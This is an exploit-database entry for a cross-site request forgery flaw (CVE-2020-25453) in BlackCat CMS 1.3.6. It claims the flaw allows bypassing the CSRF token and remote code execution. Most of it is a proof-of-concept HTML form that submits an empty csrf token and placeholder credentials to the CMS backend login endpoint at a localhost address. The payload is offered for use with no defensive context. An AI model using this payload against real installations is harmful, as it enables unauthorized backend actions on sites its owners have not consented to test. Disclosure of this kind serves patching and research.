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# Exploit Title: BlackCat CMS 1.3.6 - Cross-Site Request Forgery # Date: 2020-06-01 # Exploit Author: Noth # Vendor Homepage: https://github.com/BlackCatDevelopment/BlackCatCMS # Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS # Version: v1.3.6 # CVE : CVE-2020-25453 BlackCat CMS v1.3.6 has a CSRF vulnerability (bypass csrf_token) that allows remote arbitrary code execution . PoC (Remove the csrf_token value) : <input type=“hidden” name=“__csrf_magic” value=“”/> ------------------------------------------------------------------------------------------------------------------------------------------------- <html> <body> <script>history.pushState(",",'/')</script> <form action=“ http://127.0.0.1/blackcatcms-release-1.3/backend/login/ajax_index.php ”method=“POST”> <input type=“hidden” name=“__csrf_magic” value=“”/> <input type=“hidden” name=“username_fieldname” value=“username_274807982ed4”/> <input type=“hidden” name=“password_fieldname” value=“password_75868428f837”/> <input type=“hidden” name=“_cat_ajax” value=“1”/> <input type=“hidden” name=“username_274807982ed4” value=“accountname”/> <input type=“hidden” name=“password_75868428f837” value=“yourpassword”/> <input type=“submit” value=“Submit request”/> </form> </body> </html> |
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